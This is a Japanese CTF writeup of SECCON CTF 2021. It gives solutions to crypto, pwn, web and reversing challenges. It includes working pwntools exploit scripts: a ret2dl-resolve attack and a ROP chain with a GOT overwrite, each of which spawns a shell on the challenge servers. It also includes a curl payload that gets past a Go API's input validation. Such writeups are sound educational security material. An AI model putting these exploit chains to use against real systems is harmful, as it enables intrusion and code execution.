SECCON CTF 2021 writeup
2021/12/11 14:00 (JST) ~ 2021/12/12 14:00 (JST)に開催されたSECCON CTF 2021のwriteupです。
0x62EEN7EAというソロチームで参加しました。
644pt獲得し、正の得点を獲得した506チームの内、48位でした。
Crypto
pppp (117pt / 70solved)
problem.sageとoutput.txtが与えられる。
from Crypto.Util.number import * from flag import flag p = getStrongPrime(512) q = getStrongPrime(512) n = p*q mid = len(flag) // 2 e = 65537 m1 = int.from_bytes(flag[:mid], byteorder='big') m2 = int.from_bytes(flag[mid:], byteorder='big') assert m1 < 2**256 assert m2 < 2**256 m = [[p, p, p, p],[0,m1,m1,m1],[0, 0,m2,m2],[0, 0, 0, 1]] # add padding for i in range(4): for j in range(4): m[i][j] *= getPrime(768) m = matrix(Zmod(p*q), m) print(m) c = m^e print("n =", n) print("e =", e) print("c =", list(c))
二つに分割した平文と、512ビットの素数からなる次の行列(以降、行列と表記)を乗した行列が与えられる。
\begin{align} M = \begin{bmatrix} p & p & p & p \\ 0 & m_1 & m_1 & m_1 \\ 0 & 0 & m_2 & m_2 \\ 0 & 0 & 0 & 1 \end{bmatrix} \\ \end{align}
\begin{align} c = M^{e} \end{align}
行列の各要素は乗する前に、768ビットの素数がかけられる。そのため、実際に与えられる行列は、次のように表せる。
\begin{align} M = \begin{bmatrix} ap & bp & cp & dp \\ 0 & em_1 & fm_1 & g m_1 \\ 0 & 0 & h m_2 & i m_2 \\ 0 & 0 & 0 & j \end{bmatrix} \end{align}
\begin{align} c = M^{e} = \begin{bmatrix} (ap)^{e} & bp\{(ap)^{e-1}+(ap)^{e-2}(em_1)+...\} & ... & ... \\ 0 & (e m_1)^{e} & f m_1\{(e m_1)^{e-1}+(e m_1)^{e-2}(h m_2)+...\} & ... \\ 0 & 0 & (h m_2)^{e} & im_2{(h m_2)^{e-1}+j(h m_2)^{e-2}} \\ 0 & 0 & 0 & j^{e} \end{bmatrix} \end{align}
が768ビットの素数である。
はじめに、行列の行列式を考える。行列は上三角行列であるため、行列式の値は対角成分の積で表せる。また、より与えられたの行列式の値は、
\begin{align} |M| = \begin{vmatrix} ap & bp & cp & dp \\ 0 & e m_1 & f m_1 & g m_1 \\ 0 & 0 & h m_2 & i m_2 \\ 0 & 0 & 0 & j \end{vmatrix} = ap \cdot e m_1 \cdot h m_2 \cdot j \\ \end{align}
\begin{align} |c| = |M^{e}| =|M|^{e} = (ap \cdot em_1 \cdot hm_2 \cdot j)^{e} \end{align}
となる。よって、の行列式とでgcdをとるとが求まる。
次に行列の対角成分に着目すると、という形になっているため、RSAの復号と同じ方法で対角成分の値を求めることができる。
最後に求まったから、を求める方法を考える。行列の2行3列目の成分と3行4列目の成分は、次のように表せる。
\begin{align} c_{(2,3)} = f \cdot m_{1} \sum_{i=0}^{e-1} (e m_1)^{i}(h m_2)^{e-i-1} \\ \end{align}
\begin{align} c_{(3,4)} = i \cdot m_{2} \sum_{i=0}^{e-1} (h m_2)^{i}j^{e-i-1} \end{align}
シグマの部分は対角成分から求められるため、からを求めることができ、でが、でが求められる。
from Crypto.Util.number import long_to_bytes import math n = 139167515668183984855584233262421636549219808362436809125322963984953234794207403032462532211718407628015534917936237180092470832870352873174416729863982860547330562153111496168661222608038945799305565324740297535609102402946273092600303759078983973524662838350143815732516927299895302494977521033451618509313 e = 65537 c = [(92641859227150025014514674882433433169736939888930400782213731523244191029744271714915087397818608658221982921496921528927873080896272971564627162670330785041427348269531449548757383647994986600796703130771466176972483905051546758332111818555173685323233367295631863710855125823503925281765070200264928761744, 1077078501560459546238096407664459657660011596619515007448272718633593622581663318232822694070053575817000584000976732545349394411037957356817674297166036371321332907845398174111343765006738074197964396832305908342965034091516961317164203682771449331094865994143953470394418754170915147984703343671839620070, 19878161032897109459692857500488708331148676837923170075630073845924376353394086221031683671854185288619608305138965881628353471119235227157715699650190844508727073649527735233175347600167954253143204293274253676829607434380971492999430389536409563073620686264607716424139208756197843637115228155976163983619, 122958657434560838063916316490126514822437273152981380647634868499620566657448363565613345650206126542999322277498960954804580159527199119604554047697342524367459283765958189416627623253226055220105627822118413649499651442079969872322463271891353808314530249098525814619479135297014148780695960117897387220659), (0, 85635304452753185796593135650704585992713419302092444931829191186284566226617686976975731459756968679710078670232999566062343743901469759277582454092882685887985731708244015567469990157564460035983017331880588783841581502687752495254387549274422591338211161917565559735193456411356422539814020979699927207024, 26528377397409932803048052918715873209845190225305139460936852681030879561522825277119360099719008486268731610926098705442795761739644784858085976938906030639986454157616558457541083641717564142619063815917161350343604401278251069255966146207538326575595944701499010180658631016268689550402326369924649514049, 17173480018007185616783556851363148729840100207266610547324632027095687866456613104465211034834604995290825437734467654701021261504226847008483339028335703977866796341754911432666568936460974103742649586111260163432789617417125379644939110280618415377202845096157056174169392363954229816964869557167190373166), (0, 0, 81417110160690915414859599923077760437964436481940074249510026432592954854440295980578313776441414052192070135409849396229653279814546498083873720679422968334818254076803899882280264290639872486915551889441082468560654475422089052988909565455596584407805229280743723696618903551087160338683566908533474596220, 88524270641123978066493517684012199807956329430551155649688209766850898125045959831704501988313531767120589113923546449704920649814085765896894870692227804052901254644766662594723181025793077392532746071480212649880063471693730914835259139038459097504431147211622052068997412540488201406879310193174863792764), (0, 0, 0, 130146806238985078905344376697263038970354607413027156915068014483770022716717215156189413217688976902906182579031431264733207976605553885314360422441780388319618199732296392330859801016851191010568169307878720202422104375360360029207688301496478751250969744747470242179561459045172707909287093959859681318497)] M = Matrix(Zmod(n), c) p = math.gcd(M.det(), n) q = n // p assert p*q == n phi = (p - 1) * (q - 1) d = pow(e, -1, phi) x_m1 = pow(c[1][1], d, n) x_m2 = pow(c[2][2], d, n) j = pow(c[3][3], d, n) y_m1, y_m2 = 0, 0 for i in range(e): y_m1 = (y_m1 + pow(x_m1, i, n) * pow(x_m2, e-i-1, n)) % n y_m2 = (y_m2 + pow(x_m2, i, n) * pow(j, e-i-1, n)) % n m1 = math.gcd( int(c[1][2]) * pow(y_m1, -1, n) % n, x_m1 ) m2 = math.gcd( int(c[2][3]) * pow(y_m2, -1, n) % n, x_m2 ) print(long_to_bytes(m1) + long_to_bytes(m2))
$ sage solve.sage b'SECCON{C4n_y0u_prove_why_decryptable?}'
Pwn
kasu bof (112pt / 78solved)
ret2dl-resolveを知っていますか?という問題
getsを行うだけのプログラムとソースコードが与えられる。
#include <stdio.h> int main(void) { char buf[0x80]; gets(buf); return 0; }
ret2dl-resolveについてはももいろテクノロジーさんやこのスライドが詳しい。
上記の資料を参考に、systemを呼び出すexploitコードを作成した。
from pwn import * elf = ELF("./chall") plt_gets = elf.plt["gets"] got_gets = elf.got["gets"] addr_plt_start = 0x8049030 addr_rel_plt = 0x80482d8 addr_dyn_sym = 0x804820c addr_dyn_str = 0x804825c leave_ret = 0x80490e5 pop_ebp = 0x80491ae pop_one = 0x08049242 pop_two = 0x08049212 pop_three = 0x08049211 base_stage = elf.bss() + 0x800 rel = base_stage + 0x20 sym = rel + 0x10 args = sym + 0x20 func_name = args + 0x24 reloc_offset = rel - addr_rel_plt r_info = (((sym - addr_dyn_sym) // 0x10) << 8) | 7 st_name = func_name - addr_dyn_str st_info = 0x12 p = remote("hiyoko.quals.seccon.jp",9001) payload = b"A" * 136 # base stage payload += p32(plt_gets) payload += p32(pop_one) payload += p32(base_stage) # fake ELF32_Rel payload += p32(plt_gets) payload += p32(pop_one) payload += p32(rel) # fake ELF32_Sym payload += p32(plt_gets) payload += p32(pop_one) payload += p32(sym) # symbol name payload += p32(plt_gets) payload += p32(pop_one) payload += p32(func_name) # arguments payload += p32(plt_gets) payload += p32(pop_one) payload += p32(args) # stack pivot payload += p32(pop_ebp) payload += p32(base_stage) payload += p32(leave_ret) p.sendline(payload) payload = b"AAAA" payload += p32(addr_plt_start) payload += p32(reloc_offset) payload += b"AAAA" payload += p32(args) p.sendline(payload) # ELF32_Rel payload = p32(got_gets) payload += p32(r_info) p.sendline(payload) # ELF32_Sym payload = p32(st_name) payload += p32(0) payload += p32(0) payload += p32(st_info) p.sendline(payload) # symbol name payload = b"system" p.sendline(payload) # arguments payload = b"/bin/sh\x00" p.sendline(payload) p.interactive()
$ python3 solve.py [*] '/home/xxx/ctf/seccon_2021/kasu_bof/chall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to hiyoko.quals.seccon.jp on port 9001: Done [*] Switching to interactive mode $ ls chall flag-4f8e964cf95b989f6def1afdfd0e91b7.txt $ cat flag-4f8e964cf95b989f6def1afdfd0e91b7.txt SECCON{jUst_4_s1mpL3_b0f_ch4ll3ng3}
Average calculator (129pt / 56solved)
与えられた数字の平均値を求めるプログラムとソースコード、libcが与えられる。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { long long n, i; long long A[16]; long long sum, average; alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); printf("n: "); if (scanf("%lld", &n)!=1) exit(0); for (i=0; i<n; i++) { printf("A[%lld]: ", i); if (scanf("%lld", &A[i])!=1) exit(0); // prevent integer overflow in summation if (A[i]<-123456789LL || 123456789LL<A[i]) { printf("too large\n"); exit(0); } } sum = 0; for (i=0; i<n; i++) sum += A[i]; average = (sum+n/2)/n; printf("Average = %lld\n", average); }
nやiの値をチェックしてないため範囲外参照でリターンアドレスを書き換えることができるが、-123456789から123456789までの値しか書き込むことができない。そのため、one gadgetに直接飛ばしたり、libcの関数を直接実行したりできない。
%lld
という良さげなフォーマット文字列があるので、ROPでscanf("%lld", &address)
を実行すると好きなアドレスの値を書き換えられる。
alarmのGOTを書き換えることでsystemを呼び出せるようにした。
from pwn import * elf = ELF("./average") libc = ELF("./libc.so.6") plt_puts = elf.plt["puts"] got_puts = elf.got["puts"] plt_scanf = elf.plt["__isoc99_scanf"] got_alarm = elf.got["alarm"] plt_alarm = elf.plt["alarm"] addr_main = elf.symbols["main"] pop_rdi = 0x4013a3 pop_rsi_r15 = 0x4013a1 ret = 0x40101a lit_lld = next(elf.search(b'%lld')) addr_bss = elf.bss() + 64 def send_A(A): p.recvuntil(b": ") p.sendline(str(A).encode()) p = remote("average.quals.seccon.jp", 1234) # round 1 p.recvuntil(b": ") p.sendline(b"100") payload = [0xf00] * 16 payload.append(21 + 4) payload.append(0xf00) payload.append(0xf00) payload.append(20) # puts(got_puts) payload.append(pop_rdi) payload.append(got_puts) payload.append(plt_puts) payload.append(addr_main) for a in payload: send_A(a) p.recvline() libc_puts = u64(p.recvline().strip().ljust(8, b'\x00')) libc.address = libc_puts - libc.symbols["puts"] log.info(f"libc addr = 0x{libc.address:x}") # round 2 p.recvuntil(b": ") p.sendline(b"100") payload = [0xf00] * 16 payload.append(21 + 6*2+4) payload.append(0xf00) payload.append(0xf00) payload.append(20) # scanf("%lld", &bss); # bss <- "/bin/sh" payload.append(pop_rdi) payload.append(lit_lld) payload.append(pop_rsi_r15) payload.append(addr_bss) payload.append(addr_bss) payload.append(plt_scanf) # scanf("%lld", &got_alarm); # got_alarm <- libc.symbols["system"] payload.append(pop_rdi) payload.append(lit_lld) payload.append(pop_rsi_r15) payload.append(got_alarm) payload.append(got_alarm) payload.append(plt_scanf) # alarm(&bss) -> system("/bin/sh") payload.append(pop_rdi) payload.append(addr_bss) payload.append(ret) payload.append(plt_alarm) for a in payload: send_A(a) binsh = 0x68732f6e69622f p.sendline(str(binsh).encode()) p.sendline(str(libc.symbols['system']).encode()) p.interactive()
$ python3 solve.py [*] '/home/xxx/ctf/seccon_2021/average/average' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/xxx/ctf/seccon_2021/average/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to average.quals.seccon.jp on port 1234: Done [*] libc addr = 0x7f5f81d89000 [*] Switching to interactive mode Average = 1934580 $ ls average average.sh flag.txt $ cat flag.txt SECCON{M4k3_My_4bi1i7i3s_4v3r4g3_in_7h3_N3x7_Lif3_cpwWz9jpoCmKYBvf}
Web
Vulnerability (103pt / 94solved)
package main import ( "fmt" "log" "os" "github.com/gin-contrib/static" "github.com/gin-gonic/gin" "github.com/gin-gonic/gin/binding" "gorm.io/driver/sqlite" "gorm.io/gorm" ) type Vulnerability struct { gorm.Model Name string Logo string URL string } func main() { gin.SetMode(gin.ReleaseMode) flag := os.Getenv("FLAG") if flag == "" { flag = "SECCON{dummy_flag}" } db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) if err != nil { log.Fatal("failed to connect database") } db.AutoMigrate(&Vulnerability{}) db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"}) db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"}) db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"}) db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"}) db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"}) db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"}) db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"}) db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"}) db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"}) db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"}) db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"}) db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"}) db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"}) db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag}) r := gin.Default() // Return a list of vulnerability names // {"Vulnerabilities": ["Heartbleed", "Badlock", ...]} r.GET("/api/vulnerabilities", func(c *gin.Context) { var vulns []Vulnerability if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil { c.JSON(400, gin.H{"Error": "DB error"}) return } var names []string for _, vuln := range vulns { names = append(names, vuln.Name) } c.JSON(200, gin.H{"Vulnerabilities": names}) }) // Return details of the vulnerability // {"Logo": "???.png", "URL": "https://..."} r.POST("/api/vulnerability", func(c *gin.Context) { // Validate the parameter var json map[string]interface{} if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 1"}) return } if name, ok := json["Name"]; !ok || name == "" || name == nil { c.JSON(400, gin.H{"Error": "no \"Name\""}) return } // Get details of the vulnerability var query Vulnerability if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 2"}) return } fmt.Printf("[DEBUG]: %v\n", query) var vuln Vulnerability if err := db.Where(&query).First(&vuln).Error; err != nil { c.JSON(404, gin.H{"Error": "not found"}) return } c.JSON(200, gin.H{ "Logo": vuln.Logo, "URL": vuln.URL, }) }) r.Use(static.Serve("/", static.LocalFile("static", false))) if err := r.Run(":8080"); err != nil { log.Fatal(err) } }
/api/vulnerability
にPOSTするとデータベースからVulnerability
の情報を取得することができる。データベースの中にflagがあるので、何とかしてフラグを手に入れる。
// Return details of the vulnerability // {"Logo": "???.png", "URL": "https://..."} r.POST("/api/vulnerability", func(c *gin.Context) { // Validate the parameter var json map[string]interface{} if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 1"}) return } if name, ok := json["Name"]; !ok || name == "" || name == nil { c.JSON(400, gin.H{"Error": "no \"Name\""}) return } // Get details of the vulnerability var query Vulnerability if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 2"}) return } fmt.Printf("[DEBUG]: %v\n", query) var vuln Vulnerability if err := db.Where(&query).First(&vuln).Error; err != nil { c.JSON(404, gin.H{"Error": "not found"}) return } c.JSON(200, gin.H{ "Logo": vuln.Logo, "URL": vuln.URL, }) })
最初に、与えたjsonに"Name"
という名前のキーが存在し、値が空でないことを確認している。その後queryにbindし、Vulneraility
の検索を行う。
queryが{"Name": "Heartbleed"}
の時、以下のようなSQLが実行される。
`SELECT * FROM `vulnerabilities` WHERE `vulnerabilities`.`name` = "Heartbleed" AND `vulnerabilities`.`deleted_at` IS NULL ORDER BY `vulnerabilities`.`id` LIMIT 1```
queryのName
を空にすることができれば、ID
による検索でフラグを手に入れられそうである。
{"Name":"hoge", "name":"", "ID":0}
のように、"Name"
に何か値を入れて"name"
を空にすれば、Validationを突破でき、queryの"Name"
を空にできる。
IDを順番に試していくと、14にしたときにフラグが表示された。
$ curl -X POST -H "Content-Type:application/json" -d '{"Name":"A", "name":"", "ID":14}' https://vulnerabilities.quals.seccon.jp/api/vulnerability {"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"}
reversing
corrupted flag (130pt / 55solved)
flagを暗号化するプログラムcorruptと暗号化されたフラグflag.txt.encが与えられる。
暗号化処理をPythonで書き直すと次のようになる。
import os def __corrupt_internal(base_idx: int, buf: list[int]): if (idx := os.urandom(1)[0]) < 7: buf[base_idx+idx] ^= 1 def corrupt(s: bytes): buf = [0] * len(s) * 0xe ptr = 0 for b in s: j = 1 while j != 9: buf[ptr] = (b >> (j-1)) & 1 buf[ptr+1] = (b >> j) & 1 buf[ptr+2] = (b >> (j+1)) & 1 buf[ptr+3] = (buf[ptr] ^ buf[ptr+1] ^ buf[ptr+2]) & 1 buf[ptr+4] = (b >> (j+2)) & 1 buf[ptr+5] = (buf[ptr] ^ buf[ptr+1] ^ buf[ptr+4]) & 1 buf[ptr+6] = (buf[ptr] ^ buf[ptr+2] ^ buf[ptr+4]) & 1 __corrupt_internal(ptr, buf) j += 4 ptr += 7 __size = ((len(s) * 7) >> 2) + 1 result = [0] * __size k = 0 while k != len(s) * 0xe: ptr = k >> 3 src = buf[k] result[ptr] = result[ptr] | (src << (k & 7)) k += 1 return bytes(result)
1byteの値が4bitの値2つに分割され、それぞれ7bitの値に変換される。
7bitの内、どれか1bitが反転している可能性があるが、4,6,7bit目の情報を使うと書き換わっている場所を特定できる。
以下の手順で復号した。
- flag.txt.encを7bit区切りのビット列に分割する
- __corrupt_internalで反転したビットを元に戻す
- ビット列から元のバイト列を復元する
import os import copy def __corrupt_internal(base_idx: int, buf: list[int]): if (idx := os.urandom(1)[0]) < 7: buf[base_idx+idx] ^= 1 def corrupt(s: bytes): buf = [0] * len(s) * 0xe ptr = 0 for b in s: j = 1 while j != 9: buf[ptr] = (b >> (j-1)) & 1 buf[ptr+1] = (b >> j) & 1 buf[ptr+2] = (b >> (j+1)) & 1 buf[ptr+3] = (buf[ptr] ^ buf[ptr+1] ^ buf[ptr+2]) & 1 buf[ptr+4] = (b >> (j+2)) & 1 buf[ptr+5] = (buf[ptr] ^ buf[ptr+1] ^ buf[ptr+4]) & 1 buf[ptr+6] = (buf[ptr] ^ buf[ptr+2] ^ buf[ptr+4]) & 1 __corrupt_internal(ptr, buf) j += 4 ptr += 7 __size = ((len(s) * 7) >> 2) + 1 result = [0] * __size k = 0 while k != len(s) * 0xe: ptr = k >> 3 src = buf[k] result[ptr] = result[ptr] | (src << (k & 7)) k += 1 return bytes(result) def recover_bit(in_buf: list[int]) -> list[int]: buf = copy.deepcopy(in_buf) for i in range(0, len(buf), 7): a, b, c, d = buf[i], buf[i+1], buf[i+2], buf[i+4] x = (a ^ b ^ c) & 1 y = (a ^ b ^ d) & 1 z = (a ^ c ^ d) & 1 if x == buf[i+3] and y == buf[i+5] and z == buf[i+6]: continue if x != buf[i+3] and y != buf[i+5] and z != buf[i+6]: buf[i] ^= 1 elif x != buf[i+3] and y != buf[i+5] and z == buf[i+6]: buf[i+1] ^= 1 elif x != buf[i+3] and y == buf[i+5] and z != buf[i+6]: buf[i+2] ^= 1 elif x == buf[i+3] and y != buf[i+5] and z != buf[i+6]: buf[i+4] ^= 1 elif x != buf[i+3]: buf[i+3] ^= 1 elif y != buf[i+5]: buf[i+5] ^= 1 elif z != buf[i+6]: buf[i+6] ^= 1 return buf def bytes2bits(data: bytes) -> list[int]: result = [] tmp = [] for b in data: for i in range(8): if (b & (1 << i)): tmp.append(1) else: tmp.append(0) if len(tmp) % 7 == 0: result.extend(tmp) tmp = [] return result def bits2bytes(bits: list[int]) -> bytes: result = [] for i in range(0, len(bits), 14): x = ( bits[i] | (bits[i+1] << 1) | (bits[i+2] << 2) | (bits[i+4] << 3) | (bits[i+7] << 4) | (bits[i+8] << 5) | (bits[i+9] << 6) | (bits[i+11] << 7) ) result.append(x) return bytes(result) enc_flag = open("./flag.txt.enc", "rb").read() bits = bytes2bits(enc_flag) bits = recover_bit(bits) # test assert bits2bytes(recover_bit(bytes2bits(corrupt(b"AAAAAAAA")))) == b"AAAAAAAA" print(bits2bytes(bits))
$ python3 solve.py b'SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}\n'
感想
去年と比べて多く問題を解くことができたので非常に嬉しいです。どの問題も楽しかったのですが、特にppppが解いていて楽しかったです。
ソロで参加するとsolve数が問題や簡単そうな問題ばかり取り組んでしまい、solve数が少なめな問題になかなか挑戦できないので、次回参加する際にはチームで参加したいですね。